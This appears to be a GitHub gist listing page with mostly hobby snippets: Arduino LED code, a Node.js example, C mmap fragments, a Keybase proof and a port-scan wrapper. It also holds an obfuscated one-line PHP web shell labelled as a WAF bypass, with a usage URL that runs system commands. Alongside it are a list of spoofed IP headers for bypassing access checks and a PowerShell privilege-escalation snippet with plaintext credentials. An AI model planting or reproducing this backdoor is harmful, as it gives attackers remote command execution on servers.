Skip to content

Instantly share code, notes, and snippets.

@amriunix
amriunix / led_potentiometer.ino
Created August 1, 2015 21:55
Arduino potentiometer and led problem
int potval;
int led = 10;
void setup() {
pinMode(led, OUTPUT);
Serial.begin(9600);
}
void turnled(int potval){
float pv = potval/((1023/10)/10);
@amriunix
amriunix / led.c
Created September 21, 2015 15:56
Blink Arduino C
#include <avr/io.h>
#include <util/delay.h>
#define BLINK_DELAY_MS 1000
int main (void)
{
/* set pin 5 of PORTB for output*/
DDRB |= _BV(DDB5);
@amriunix
amriunix / file.js
Created January 28, 2016 08:59
node js
console.log("1");
process.stdin.on('data', function(data) {
console.log("2");
process.stdout.write(data.toString().trim());
});
console.log("3");
console.log("4");
/*
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <string.h>
int main(int argc,char *argv[])
{
struct stat st;
char content[17];
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <string.h>
int main(int argc, char *argv[])
{

Keybase proof

I hereby claim:

  • I am amriunix on github.
  • I am amriunix (https://keybase.io/amriunix) on keybase.
  • I have a public key whose fingerprint is F91E E56E A2DE D814 4F9F C13E 5883 9FDA 447B 814B

To claim this, I am signing this object:

#!/usr/bin/env python
# Author: Alamot
import subprocess, re, sys
ip = "127.0.0.1"
max_rate = "500"
ports = "0-65535"
if len(sys.argv) > 1:
ip = sys.argv[1]
@amriunix
amriunix / backdoor.php
Created July 14, 2019 20:21
php backdoor WAF Bypass
# http://IP/backdoor.php?_=system&__=id
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Forwarded: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Firefox-Spdy: 127.0.0.1
X-Pingback: 127.0.0.1
@amriunix
amriunix / runas.ps1
Last active January 20, 2020 10:16
Elevate of Privileges (EoP) using powershell
$Username = "Domain\User"
$Password = "Pass"
$PasswordSS = ConvertTo-SecureString -String $Password -AsPlainText -Force
$Creds = New-Object -Typename System.Management.Automation.PSCredential $Username,$PasswordSS
Start-Process 'C:\Windows\system32\ping.exe' -ArgumentList '127.0.0.1' -Credential $Creds
# Or
Invoke-Command -Computer localhost -Credential $Creds -ScriptBlock {C:\Windows\system32\ping.exe 127.0.0.1}